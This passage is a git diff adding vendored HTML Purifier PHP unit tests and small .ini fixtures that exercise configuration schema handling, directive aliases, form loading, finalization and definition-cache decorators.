+ 'easy' => true,
+ 'medium' => true,
+ 'hard' => true
+ )
+ );
+
+ }
+
+ public function test_defineValueAliases()
+ {
+ $this->schema->add('Abbrev.HTH', 'Happy to Help', 'string', false);
+ $this->schema->addAllowedValues(
+ 'Abbrev.HTH', array(
+ 'Happy to Help' => true,
+ 'Hope that Helps' => true,
+ 'HAIL THE HAND!' => true,
+ )
+ );
+ $this->schema->addValueAliases(
+ 'Abbrev.HTH', array(
+ 'happy' => 'Happy to Help',
+ 'hope' => 'Hope that Helps'
+ )
+ );
+ $this->schema->addValueAliases( // delayed addition
+ 'Abbrev.HTH', array(
+ 'hail' => 'HAIL THE HAND!'
+ )
+ );
+
+ $this->assertIdentical($this->schema->defaults['Abbrev.HTH'], 'Happy to Help');
+ $this->assertIdentical($this->schema->info['Abbrev.HTH']->type, HTMLPurifier_VarParser::STRING);
+ $this->assertIdentical($this->schema->info['Abbrev.HTH']->allowed,
+ array(
+ 'Happy to Help' => true,
+ 'Hope that Helps' => true,
+ 'HAIL THE HAND!' => true
+ )
+ );
+ $this->assertIdentical($this->schema->info['Abbrev.HTH']->aliases,
+ array(
+ 'happy' => 'Happy to Help',
+ 'hope' => 'Hope that Helps',
+ 'hail' => 'HAIL THE HAND!'
+ )
+ );
+
+ }
+
+ public function testAlias()
+ {
+ $this->schema->add('Home.Rug', 3, 'int', false);
+ $this->schema->addAlias('Home.Carpet', 'Home.Rug');
+
+ $this->assertTrue(!isset($this->schema->defaults['Home.Carpet']));
+ $this->assertIdentical($this->schema->info['Home.Carpet']->key, 'Home.Rug');
+ $this->assertIdentical($this->schema->info['Home.Carpet']->isAlias, true);
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest-create.ini b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest-create.ini
new file mode 100644
index 000000000..31412f99a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest-create.ini
@@ -0,0 +1,4 @@
+[Cake]
+Sprinkles = 42
+
+; vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest-finalize.ini b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest-finalize.ini
new file mode 100644
index 000000000..3ab185fad
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest-finalize.ini
@@ -0,0 +1,4 @@
+[Poem]
+Meter = alexandrine
+
+; vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest-loadIni.ini b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest-loadIni.ini
new file mode 100644
index 000000000..cfa5a907f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest-loadIni.ini
@@ -0,0 +1,6 @@
+[Shortcut]
+Copy = q
+Cut = t
+Paste = p
+
+; vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest.php
new file mode 100644
index 000000000..69b22eb6c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest.php
@@ -0,0 +1,577 @@
+<?php
+
+class HTMLPurifier_ConfigTest extends HTMLPurifier_Harness
+{
+
+ protected $schema;
+ protected $oldFactory;
+
+ public function setUp()
+ {
+ // set up a dummy schema object for testing
+ $this->schema = new HTMLPurifier_ConfigSchema();
+ }
+
+ // test functionality based on ConfigSchema
+
+ public function testNormal()
+ {
+ $this->schema->add('Element.Abbr', 'H', 'string', false);
+ $this->schema->add('Element.Name', 'hydrogen', 'istring', false);
+ $this->schema->add('Element.Number', 1, 'int', false);
+ $this->schema->add('Element.Mass', 1.00794, 'float', false);
+ $this->schema->add('Element.Radioactive', false, 'bool', false);
+ $this->schema->add('Element.Isotopes', array(1 => true, 2 => true, 3 => true), 'lookup', false);
+ $this->schema->add('Element.Traits', array('nonmetallic', 'odorless', 'flammable'), 'list', false);
+ $this->schema->add('Element.IsotopeNames', array(1 => 'protium', 2 => 'deuterium', 3 => 'tritium'), 'hash', false);
+ $this->schema->add('Element.Object', new stdClass(), 'mixed', false);
+
+ $config = new HTMLPurifier_Config($this->schema);
+ $config->autoFinalize = false;
+ $config->chatty = false;
+
+ // test default value retrieval
+ $this->assertIdentical($config->get('Element.Abbr'), 'H');
+ $this->assertIdentical($config->get('Element.Name'), 'hydrogen');
+ $this->assertIdentical($config->get('Element.Number'), 1);
+ $this->assertIdentical($config->get('Element.Mass'), 1.00794);
+ $this->assertIdentical($config->get('Element.Radioactive'), false);
+ $this->assertIdentical($config->get('Element.Isotopes'), array(1 => true, 2 => true, 3 => true));
+ $this->assertIdentical($config->get('Element.Traits'), array('nonmetallic', 'odorless', 'flammable'));
+ $this->assertIdentical($config->get('Element.IsotopeNames'), array(1 => 'protium', 2 => 'deuterium', 3 => 'tritium'));
+ $this->assertIdentical($config->get('Element.Object'), new stdClass());
+
+ // test setting values
+ $config->set('Element.Abbr', 'Pu');
+ $config->set('Element.Name', 'PLUTONIUM'); // test decaps
+ $config->set('Element.Number', '94'); // test parsing
+ $config->set('Element.Mass', '244.'); // test parsing
+ $config->set('Element.Radioactive', true);
+ $config->set('Element.Isotopes', array(238, 239)); // test inversion
+ $config->set('Element.Traits', 'nuclear, heavy, actinide'); // test parsing
+ $config->set('Element.IsotopeNames', array(238 => 'Plutonium-238', 239 => 'Plutonium-239'));
+ $config->set('Element.Object', false); // unmodeled
+
+ $this->expectError('Cannot set undefined directive Element.Metal to value');
+ $config->set('Element.Metal', true);
+
+ $this->expectError('Value for Element.Radioactive is of invalid type, should be bool');
+ $config->set('Element.Radioactive', 'very');
+
+ // test value retrieval
+ $this->assertIdentical($config->get('Element.Abbr'), 'Pu');
+ $this->assertIdentical($config->get('Element.Name'), 'plutonium');
+ $this->assertIdentical($config->get('Element.Number'), 94);
+ $this->assertIdentical($config->get('Element.Mass'), 244.);
+ $this->assertIdentical($config->get('Element.Radioactive'), true);
+ $this->assertIdentical($config->get('Element.Isotopes'), array(238 => true, 239 => true));
+ $this->assertIdentical($config->get('Element.Traits'), array('nuclear', 'heavy', 'actinide'));
+ $this->assertIdentical($config->get('Element.IsotopeNames'), array(238 => 'Plutonium-238', 239 => 'Plutonium-239'));
+ $this->assertIdentical($config->get('Element.Object'), false);
+
+ $this->expectError('Cannot retrieve value of undefined directive Element.Metal');
+ $config->get('Element.Metal');
+
+ }
+
+ public function testEnumerated()
+ {
+ // case sensitive
+ $this->schema->add('Instrument.Manufacturer', 'Yamaha', 'string', false);
+ $this->schema->addAllowedValues('Instrument.Manufacturer', array(
+ 'Yamaha' => true, 'Conn-Selmer' => true, 'Vandoren' => true,
+ 'Laubin' => true, 'Buffet' => true, 'other' => true));
+ $this->schema->addValueAliases('Instrument.Manufacturer', array(
+ 'Selmer' => 'Conn-Selmer'));
+
+ // case insensitive
+ $this->schema->add('Instrument.Family', 'woodwind', 'istring', false);
+ $this->schema->addAllowedValues('Instrument.Family', array(
+ 'brass' => true, 'woodwind' => true, 'percussion' => true,
+ 'string' => true, 'keyboard' => true, 'electronic' => true));
+ $this->schema->addValueAliases('Instrument.Family', array(
+ 'synth' => 'electronic'));
+
+ $config = new HTMLPurifier_Config($this->schema);
+ $config->autoFinalize = false;
+ $config->chatty = false;
+
+ // case sensitive
+
+ $config->set('Instrument.Manufacturer', 'Vandoren');
+ $this->assertIdentical($config->get('Instrument.Manufacturer'), 'Vandoren');
+
+ $config->set('Instrument.Manufacturer', 'Selmer');
+ $this->assertIdentical($config->get('Instrument.Manufacturer'), 'Conn-Selmer');
+
+ $this->expectError('Value not supported, valid values are: Yamaha, Conn-Selmer, Vandoren, Laubin, Buffet, other');
+ $config->set('Instrument.Manufacturer', 'buffet');
+
+ // case insensitive
+
+ $config->set('Instrument.Family', 'brass');
+ $this->assertIdentical($config->get('Instrument.Family'), 'brass');
+
+ $config->set('Instrument.Family', 'PERCUSSION');
+ $this->assertIdentical($config->get('Instrument.Family'), 'percussion');
+
+ $config->set('Instrument.Family', 'synth');
+ $this->assertIdentical($config->get('Instrument.Family'), 'electronic');
+
+ $config->set('Instrument.Family', 'Synth');
+ $this->assertIdentical($config->get('Instrument.Family'), 'electronic');
+
+ }
+
+ public function testNull()
+ {
+ $this->schema->add('ReportCard.English', null, 'string', true);
+ $this->schema->add('ReportCard.Absences', 0, 'int', false);
+
+ $config = new HTMLPurifier_Config($this->schema);
+ $config->autoFinalize = false;
+ $config->chatty = false;
+
+ $config->set('ReportCard.English', 'B-');
+ $this->assertIdentical($config->get('ReportCard.English'), 'B-');
+
+ $config->set('ReportCard.English', null); // not yet graded
+ $this->assertIdentical($config->get('ReportCard.English'), null);
+
+ // error
+ $this->expectError('Value for ReportCard.Absences is of invalid type, should be int');
+ $config->set('ReportCard.Absences', null);
+
+ }
+
+ public function testAliases()
+ {
+ $this->schema->add('Home.Rug', 3, 'int', false);
+ $this->schema->addAlias('Home.Carpet', 'Home.Rug');
+
+ $config = new HTMLPurifier_Config($this->schema);
+ $config->autoFinalize = false;
+ $config->chatty = false;
+
+ $this->assertIdentical($config->get('Home.Rug'), 3);
+
+ $this->expectError('Cannot get value from aliased directive, use real name Home.Rug');
+ $config->get('Home.Carpet');
+
+ $this->expectError('Home.Carpet is an alias, preferred directive name is Home.Rug');
+ $config->set('Home.Carpet', 999);
+ $this->assertIdentical($config->get('Home.Rug'), 999);
+
+ }
+
+ // test functionality based on method
+
+ public function test_getBatch()
+ {
+ $this->schema->add('Variables.TangentialAcceleration', 'a_tan', 'string', false);
+ $this->schema->add('Variables.AngularAcceleration', 'alpha', 'string', false);
+
+ $config = new HTMLPurifier_Config($this->schema);
+ $config->autoFinalize = false;
+ $config->chatty = false;
+
+ // grab a namespace
+ $this->assertIdentical(
+ $config->getBatch('Variables'),
+ array(
+ 'TangentialAcceleration' => 'a_tan',
+ 'AngularAcceleration' => 'alpha'
+ )
+ );
+
+ // grab a non-existant namespace
+ $this->expectError('Cannot retrieve undefined namespace Constants');
+ $config->getBatch('Constants');
+
+ }
+
+ public function test_loadIni()
+ {
+ $this->schema->add('Shortcut.Copy', 'c', 'istring', false);
+ $this->schema->add('Shortcut.Paste', 'v', 'istring', false);
+ $this->schema->add('Shortcut.Cut', 'x', 'istring', false);
+
+ $config = new HTMLPurifier_Config($this->schema);
+ $config->autoFinalize = false;
+
+ $config->loadIni(dirname(__FILE__) . '/ConfigTest-loadIni.ini');
+
+ $this->assertIdentical($config->get('Shortcut.Copy'), 'q');
+ $this->assertIdentical($config->get('Shortcut.Paste'), 'p');
+ $this->assertIdentical($config->get('Shortcut.Cut'), 't');
+
+ }
+
+ public function test_getHTMLDefinition()
+ {
+ // we actually want to use the old copy, because the definition
+ // generation routines have dependencies on configuration values
+
+ $config = HTMLPurifier_Config::createDefault();
+ $config->set('HTML.Doctype', 'XHTML 1.0 Strict');
+ $config->autoFinalize = false;
+
+ $def = $config->getCSSDefinition();
+ $this->assertIsA($def, 'HTMLPurifier_CSSDefinition');
+
+ $def = $config->getHTMLDefinition();
+ $def2 = $config->getHTMLDefinition();
+ $this->assertIsA($def, 'HTMLPurifier_HTMLDefinition');
+ $this->assertTrue($def === $def2);
+ $this->assertTrue($def->setup);
+
+ $old_def = clone $def2;
+
+ $config->set('HTML.Doctype', 'HTML 4.01 Transitional');
+ $def = $config->getHTMLDefinition();
+ $this->assertIsA($def, 'HTMLPurifier_HTMLDefinition');
+ $this->assertTrue($def !== $old_def);
+ $this->assertTrue($def->setup);
+
+ }
+
+ public function test_getHTMLDefinition_deprecatedRawError()
+ {
+ $config = HTMLPurifier_Config::createDefault();
+ $config->chatty = false;
+ // test deprecated retrieval of raw definition
+ $config->set('HTML.DefinitionID', 'HTMLPurifier_ConfigTest->test_getHTMLDefinition()');
+ $config->set('HTML.DefinitionRev', 3);
+ $this->expectError("Useless DefinitionID declaration");
+ $def = $config->getHTMLDefinition(true);
+ $this->assertEqual(false, $def->setup);
+
+ // auto initialization
+ $config->getHTMLDefinition();
+ $this->assertTrue($def->setup);
+ }
+
+ public function test_getHTMLDefinition_optimizedRawError()
+ {
+ $this->expectException(new HTMLPurifier_Exception("Cannot set optimized = true when raw = false"));
+ $config = HTMLPurifier_Config::createDefault();
+ $config->getHTMLDefinition(false, true);
+ }
+
+ public function test_getHTMLDefinition_rawAfterSetupError()
+ {
+ $this->expectException(new HTMLPurifier_Exception("Cannot retrieve raw definition after it has already been setup"));
+ $config = HTMLPurifier_Config::createDefault();
+ $config->chatty = false;
+ $config->getHTMLDefinition();
+ $config->getHTMLDefinition(true);
+ }
+
+ public function test_getHTMLDefinition_inconsistentOptimizedError()
+ {
+ $this->expectError("Useless DefinitionID declaration");
+ $this->expectException(new HTMLPurifier_Exception("Inconsistent use of optimized and unoptimized raw definition retrievals"));
+ $config = HTMLPurifier_Config::create(array('HTML.DefinitionID' => 'HTMLPurifier_ConfigTest->test_getHTMLDefinition_inconsistentOptimizedError'));
+ $config->chatty = false;
+ $config->getHTMLDefinition(true, false);
+ $config->getHTMLDefinition(true, true);
+ }
+
+ public function test_getHTMLDefinition_inconsistentOptimizedError2()
+ {
+ $this->expectException(new HTMLPurifier_Exception("Inconsistent use of optimized and unoptimized raw definition retrievals"));
+ $config = HTMLPurifier_Config::create(array('HTML.DefinitionID' => 'HTMLPurifier_ConfigTest->test_getHTMLDefinition_inconsistentOptimizedError2'));
+ $config->chatty = false;
+ $config->getHTMLDefinition(true, true);
+ $config->getHTMLDefinition(true, false);
+ }
+
+ public function test_getHTMLDefinition_rawError()
+ {
+ $config = HTMLPurifier_Config::createDefault();
+ $this->expectException(new HTMLPurifier_Exception('Cannot retrieve raw version without specifying %HTML.DefinitionID'));
+ $def = $config->getHTMLDefinition(true, true);
+ }
+
+ public function test_getCSSDefinition()
+ {
+ $config = HTMLPurifier_Config::createDefault();
+ $def = $config->getCSSDefinition();
+ $this->assertIsA($def, 'HTMLPurifier_CSSDefinition');
+ }
+
+ public function test_getDefinition()
+ {
+ $this->schema->add('Cache.DefinitionImpl', null, 'string', true);
+ $config = new HTMLPurifier_Config($this->schema);
+ $this->expectException(new HTMLPurifier_Exception("Definition of Crust type not supported"));
+ $config->getDefinition('Crust');
+ }
+
+ public function test_loadArray()
+ {
+ // setup a few dummy namespaces/directives for our testing
+ $this->schema->add('Zoo.Aadvark', 0, 'int', false);
+ $this->schema->add('Zoo.Boar', 0, 'int', false);
+ $this->schema->add('Zoo.Camel', 0, 'int', false);
+ $this->schema->add('Zoo.Others', array(), 'list', false);
+
+ $config_manual = new HTMLPurifier_Config($this->schema);
+ $config_loadabbr = new HTMLPurifier_Config($this->schema);
+ $config_loadfull = new HTMLPurifier_Config($this->schema);
+
+ $config_manual->set('Zoo.Aadvark', 3);
+ $config_manual->set('Zoo.Boar', 5);
+ $config_manual->set('Zoo.Camel', 2000); // that's a lotta camels!
+ $config_manual->set('Zoo.Others', array('Peacock', 'Dodo')); // wtf!
+
+ // condensed form
+ $config_loadabbr->loadArray(array(
+ 'Zoo.Aadvark' => 3,
+ 'Zoo.Boar' => 5,
+ 'Zoo.Camel' => 2000,
+ 'Zoo.Others' => array('Peacock', 'Dodo')
+ ));
+
+ // fully expanded form
+ $config_loadfull->loadArray(array(
+ 'Zoo' => array(
+ 'Aadvark' => 3,
+ 'Boar' => 5,
+ 'Camel' => 2000,
+ 'Others' => array('Peacock', 'Dodo')
+ )
+ ));
+
+ $this->assertIdentical($config_manual, $config_loadabbr);
+ $this->assertIdentical($config_manual, $config_loadfull);
+
+ }
+
+ public function test_create()
+ {
+ $this->schema->add('Cake.Sprinkles', 666, 'int', false);
+ $this->schema->add('Cake.Flavor', 'vanilla', 'string', false);
+
+ $config = new HTMLPurifier_Config($this->schema);
+ $config->set('Cake.Sprinkles', 42);
+
+ // test flat pass-through
+ $created_config = HTMLPurifier_Config::create($config, $this->schema);
+ $this->assertIdentical($config, $created_config);
+
+ // test loadArray
+ $created_config = HTMLPurifier_Config::create(array('Cake.Sprinkles' => 42), $this->schema);
+ $this->assertIdentical($config, $created_config);
+
+ // test loadIni
+ $created_config = HTMLPurifier_Config::create(dirname(__FILE__) . '/ConfigTest-create.ini', $this->schema);
+ $this->assertIdentical($config, $created_config);
+
+ }
+
+ public function test_finalize()
+ {
+ // test finalization
+
+ $this->schema->add('Poem.Meter', 'iambic', 'string', false);
+
+ $config = new HTMLPurifier_Config($this->schema);
+ $config->autoFinalize = false;
+ $config->chatty = false;
+
+ $config->set('Poem.Meter', 'irregular');
+
+ $config->finalize();
+
+ $this->expectError('Cannot set directive after finalization');
+ $config->set('Poem.Meter', 'vedic');
+
+ $this->expectError('Cannot load directives after finalization');
+ $config->loadArray(array('Poem.Meter' => 'octosyllable'));
+
+ $this->expectError('Cannot load directives after finalization');
+ $config->loadIni(dirname(__FILE__) . '/ConfigTest-finalize.ini');
+
+ }
+
+ public function test_loadArrayFromForm()
+ {
+ $this->schema->add('Pancake.Mix', 'buttermilk', 'string', false);
+ $this->schema->add('Pancake.Served', true, 'bool', false);
+ $this->schema->add('Toppings.Syrup', true, 'bool', false);
+ $this->schema->add('Toppings.Flavor', 'maple', 'string', false);
+ $this->schema->add('Toppings.Strawberries', 3, 'int', false);
+ $this->schema->add('Toppings.Calories', 2000, 'int', true);
+ $this->schema->add('Toppings.DefinitionID', null, 'string', true);
+ $this->schema->add('Toppings.DefinitionRev', 1, 'int', false);
+ $this->schema->add('Toppings.Protected', 1, 'int', false);
+
+ $get = array(
+ 'breakfast' => array(
+ 'Pancake.Mix' => 'nasty',
+ 'Pancake.Served' => '0',
+ 'Toppings.Syrup' => '0',
+ 'Toppings.Flavor' => "juice",
+ 'Toppings.Strawberries' => '999',
+ 'Toppings.Calories' => '',
+ 'Null_Toppings.Calories' => '1',
+ 'Toppings.DefinitionID' => '<argh>',
+ 'Toppings.DefinitionRev' => '65',
+ 'Toppings.Protected' => '4',
+ )
+ );
+
+ $config_expect = HTMLPurifier_Config::create(array(
+ 'Pancake.Served' => false,
+ 'Toppings.Syrup' => false,
+ 'Toppings.Flavor' => "juice",
+ 'Toppings.Strawberries' => 999,
+ 'Toppings.Calories' => null
+ ), $this->schema);
+
+ $config_result = HTMLPurifier_Config::loadArrayFromForm(
+ $get, 'breakfast',
+ array('Pancake.Served', 'Toppings', '-Toppings.Protected'),
+ false, // mq fix
+ $this->schema
+ );
+
+ $this->assertEqual($config_expect, $config_result);
+
+ /*
+ MAGIC QUOTES NOT TESTED!!!
+
+ $get = array(
+ 'breakfast' => array(
+ 'Pancake.Mix' => 'n\\asty'
+ )
+ );
+ $config_expect = HTMLPurifier_Config::create(array(
+ 'Pancake.Mix' => 'n\\asty'
+ ));
+ $config_result = HTMLPurifier_Config::loadArrayFromForm($get, 'breakfast', true, false);
+ $this->assertEqual($config_expect, $config_result);
+ */
+ }
+
+ public function test_getAllowedDirectivesForForm()
+ {
+ $this->schema->add('Unused.Unused', 'Foobar', 'string', false);
+ $this->schema->add('Partial.Allowed', true, 'bool', false);
+ $this->schema->add('Partial.Unused', 'Foobar', 'string', false);
+ $this->schema->add('All.Allowed', true, 'bool', false);
+ $this->schema->add('All.Blacklisted', 'Foobar', 'string', false); // explicitly blacklisted
+ $this->schema->add('All.DefinitionID', 'Foobar', 'string', true); // auto-blacklisted
+ $this->schema->add('All.DefinitionRev', 2, 'int', false); // auto-blacklisted
+
+ $input = array('Partial.Allowed', 'All', '-All.Blacklisted');
+ $output = HTMLPurifier_Config::getAllowedDirectivesForForm($input, $this->schema);
+ $expect = array(
+ array('Partial', 'Allowed'),
+ array('All', 'Allowed')
+ );
+
+ $this->assertEqual($output, $expect);
+
+ }
+
+ public function testDeprecatedAPI()
+ {
+ $this->schema->add('Foo.Bar', 2, 'int', false);
+ $config = new HTMLPurifier_Config($this->schema);
+ $config->chatty = false;
+ $this->expectError('Using deprecated API: use $config->set(\'Foo.Bar\', ...) instead');
+ $config->set('Foo', 'Bar', 4);
+ $this->expectError('Using deprecated API: use $config->get(\'Foo.Bar\') instead');
+ $this->assertIdentical($config->get('Foo', 'Bar'), 4);
+ }
+
+ public function testInherit()
+ {
+ $this->schema->add('Phantom.Masked', 25, 'int', false);
+ $this->schema->add('Phantom.Unmasked', 89, 'int', false);
+ $this->schema->add('Phantom.Latemasked', 11, 'int', false);
+ $config = new HTMLPurifier_Config($this->schema);
+ $config->set('Phantom.Masked', 800);
+ $subconfig = HTMLPurifier_Config::inherit($config);
+ $config->set('Phantom.Latemasked', 100, 'int', false);
+ $this->assertIdentical($subconfig->get('Phantom.Masked'), 800);
+ $this->assertIdentical($subconfig->get('Phantom.Unmasked'), 89);
+ $this->assertIdentical($subconfig->get('Phantom.Latemasked'), 100);
+ }
+
+ public function testSerialize()
+ {
+ $config = HTMLPurifier_Config::createDefault();
+ $config->set('HTML.Allowed', 'a');
+ $config2 = unserialize($config->serialize());
+ $this->assertIdentical($config->get('HTML.Allowed'), $config2->get('HTML.Allowed'));
+ }
+
+ public function testDefinitionCachingNothing()
+ {
+ list($mock, $config) = $this->setupCacheMock('HTML');
+ // should not touch the cache
+ $mock->expectNever('get');
+ $mock->expectNever('add');
+ $mock->expectNever('set');
+ $config->getDefinition('HTML', true);
+ $config->getDefinition('HTML', true);
+ $config->getDefinition('HTML');
+ $this->teardownCacheMock();
+ }
+
+ public function testDefinitionCachingOptimized()
+ {
+ list($mock, $config) = $this->setupCacheMock('HTML');
+ $mock->expectNever('set');
+ $config->set('HTML.DefinitionID', 'HTMLPurifier_ConfigTest->testDefinitionCachingOptimized');
+ $mock->expectOnce('get');
+ $mock->setReturnValue('get', null);
+ $this->assertTrue($config->maybeGetRawHTMLDefinition());
+ $this->assertTrue($config->maybeGetRawHTMLDefinition());
+ $mock->expectOnce('add');
+ $config->getDefinition('HTML');
+ $this->teardownCacheMock();
+ }
+
+ public function testDefinitionCachingOptimizedHit()
+ {
+ $fake_config = HTMLPurifier_Config::createDefault();
+ $fake_def = $fake_config->getHTMLDefinition();
+ list($mock, $config) = $this->setupCacheMock('HTML');
+ // should never frob cache
+ $mock->expectNever('add');
+ $mock->expectNever('set');
+ $config->set('HTML.DefinitionID', 'HTMLPurifier_ConfigTest->testDefinitionCachingOptimizedHit');
+ $mock->expectOnce('get');
+ $mock->setReturnValue('get', $fake_def);
+ $this->assertNull($config->maybeGetRawHTMLDefinition());
+ $config->getDefinition('HTML');
+ $config->getDefinition('HTML');
+ $this->teardownCacheMock();
+ }
+
+ protected function setupCacheMock($type)
+ {
+ // inject our definition cache mock globally (borrowed from
+ // DefinitionFactoryTest)
+ generate_mock_once("HTMLPurifier_DefinitionCacheFactory");
+ $factory = new HTMLPurifier_DefinitionCacheFactoryMock();
+ $this->oldFactory = HTMLPurifier_DefinitionCacheFactory::instance();
+ HTMLPurifier_DefinitionCacheFactory::instance($factory);
+ generate_mock_once("HTMLPurifier_DefinitionCache");
+ $mock = new HTMLPurifier_DefinitionCacheMock();
+ $config = HTMLPurifier_Config::createDefault();
+ $factory->setReturnValue('create', $mock, array($type, $config));
+ return array($mock, $config);
+ }
+ protected function teardownCacheMock()
+ {
+ HTMLPurifier_DefinitionCacheFactory::instance($this->oldFactory);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ContextTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ContextTest.php
new file mode 100644
index 000000000..8baaf27ee
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ContextTest.php
@@ -0,0 +1,93 @@
+<?php
+
+// mocks
+class HTMLPurifier_ContextTest extends HTMLPurifier_Harness
+{
+
+ protected $context;
+
+ public function setUp()
+ {
+ $this->context = new HTMLPurifier_Context();
+ }
+
+ public function testStandardUsage()
+ {
+ generate_mock_once('HTMLPurifier_IDAccumulator');
+
+ $this->assertFalse($this->context->exists('IDAccumulator'));
+
+ $accumulator = new HTMLPurifier_IDAccumulatorMock();
+ $this->context->register('IDAccumulator', $accumulator);
+ $this->assertTrue($this->context->exists('IDAccumulator'));
+
+ $accumulator_2 =& $this->context->get('IDAccumulator');
+ $this->assertReference($accumulator, $accumulator_2);
+
+ $this->context->destroy('IDAccumulator');
+ $this->assertFalse($this->context->exists('IDAccumulator'));
+
+ $this->expectError('Attempted to retrieve non-existent variable IDAccumulator');
+ $accumulator_3 =& $this->context->get('IDAccumulator');
+ $this->assertNull($accumulator_3);
+
+ $this->expectError('Attempted to destroy non-existent variable IDAccumulator');
+ $this->context->destroy('IDAccumulator');
+
+ }
+
+ public function testReRegister()
+ {
+ $var = true;
+ $this->context->register('OnceOnly', $var);
+
+ $this->expectError('Name OnceOnly produces collision, cannot re-register');
+ $this->context->register('OnceOnly', $var);
+
+ // destroy it, now registration is okay
+ $this->context->destroy('OnceOnly');
+ $this->context->register('OnceOnly', $var);
+
+ }
+
+ public function test_loadArray()
+ {
+ // references can be *really* wonky!
+
+ $context_manual = new HTMLPurifier_Context();
+ $context_load = new HTMLPurifier_Context();
+
+ $var1 = 1;
+ $var2 = 2;
+
+ $context_manual->register('var1', $var1);
+ $context_manual->register('var2', $var2);
+
+ // you MUST set up the references when constructing the array,
+ // otherwise the registered version will be a copy
+ $array = array(
+ 'var1' => &$var1,
+ 'var2' => &$var2
+ );
+
+ $context_load->loadArray($array);
+ $this->assertIdentical($context_manual, $context_load);
+
+ $var1 = 10;
+ $var2 = 20;
+
+ $this->assertIdentical($context_manual, $context_load);
+
+ }
+
+ public function testNull() {
+ $context = new HTMLPurifier_Context();
+ $var = NULL;
+ $context->register('var', $var);
+ $this->assertNull($context->get('var'));
+ $context->destroy('var');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/Decorator/CleanupTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/Decorator/CleanupTest.php
new file mode 100644
index 000000000..1cd967344
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/Decorator/CleanupTest.php
@@ -0,0 +1,64 @@
+<?php
+
+generate_mock_once('HTMLPurifier_DefinitionCache');
+
+class HTMLPurifier_DefinitionCache_Decorator_CleanupTest extends HTMLPurifier_DefinitionCache_DecoratorHarness
+{
+
+ public function setup()
+ {
+ $this->cache = new HTMLPurifier_DefinitionCache_Decorator_Cleanup();
+ parent::setup();
+ }
+
+ public function setupMockForSuccess($op)
+ {
+ $this->mock->expectOnce($op, array($this->def, $this->config));
+ $this->mock->setReturnValue($op, true, array($this->def, $this->config));
+ $this->mock->expectNever('cleanup');
+ }
+
+ public function setupMockForFailure($op)
+ {
+ $this->mock->expectOnce($op, array($this->def, $this->config));
+ $this->mock->setReturnValue($op, false, array($this->def, $this->config));
+ $this->mock->expectOnce('cleanup', array($this->config));
+ }
+
+ public function test_get()
+ {
+ $this->mock->expectOnce('get', array($this->config));
+ $this->mock->setReturnValue('get', true, array($this->config));
+ $this->mock->expectNever('cleanup');
+ $this->assertEqual($this->cache->get($this->config), $this->def);
+ }
+
+ public function test_get_failure()
+ {
+ $this->mock->expectOnce('get', array($this->config));
+ $this->mock->setReturnValue('get', false, array($this->config));
+ $this->mock->expectOnce('cleanup', array($this->config));
+ $this->assertEqual($this->cache->get($this->config), false);
+ }
+
+ public function test_set()
+ {
+ $this->setupMockForSuccess('set');
+ $this->assertEqual($this->cache->set($this->def, $this->config), true);
+ }
+
+ public function test_replace()
+ {
+ $this->setupMockForSuccess('replace');
+ $this->assertEqual($this->cache->replace($this->def, $this->config), true);
+ }
+
+ public function test_add()
+ {
+ $this->setupMockForSuccess('add');
+ $this->assertEqual($this->cache->add($this->def, $this->config), true);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/Decorator/MemoryTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/Decorator/MemoryTest.php
new file mode 100644
index 000000000..bcb0fb04d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/Decorator/MemoryTest.php
@@ -0,0 +1,80 @@
+<?php
+
+generate_mock_once('HTMLPurifier_DefinitionCache');
+
+class HTMLPurifier_DefinitionCache_Decorator_MemoryTest extends HTMLPurifier_DefinitionCache_DecoratorHarness
+{
+
+ public function setup()
+ {
+ $this->cache = new HTMLPurifier_DefinitionCache_Decorator_Memory();
+ parent::setup();
+ }
+
+ public function setupMockForSuccess($op)
+ {
+ $this->mock->expectOnce($op, array($this->def, $this->config));
+ $this->mock->setReturnValue($op, true, array($this->def, $this->config));
+ $this->mock->expectNever('get');
+ }
+
+ public function setupMockForFailure($op)
+ {
+ $this->mock->expectOnce($op, array($this->def, $this->config));
+ $this->mock->setReturnValue($op, false, array($this->def, $this->config));
+ $this->mock->expectOnce('get', array($this->config));
+ }
+
+ public function test_get()
+ {
+ $this->mock->expectOnce('get', array($this->config)); // only ONE call!
+ $this->mock->setReturnValue('get', $this->def, array($this->config));
+ $this->assertEqual($this->cache->get($this->config), $this->def);
+ $this->assertEqual($this->cache->get($this->config), $this->def);
+ }
+
+ public function test_set()
+ {
+ $this->setupMockForSuccess('set', 'get');
+ $this->assertEqual($this->cache->set($this->def, $this->config), true);
+ $this->assertEqual($this->cache->get($this->config), $this->def);
+ }
+
+ public function test_set_failure()
+ {
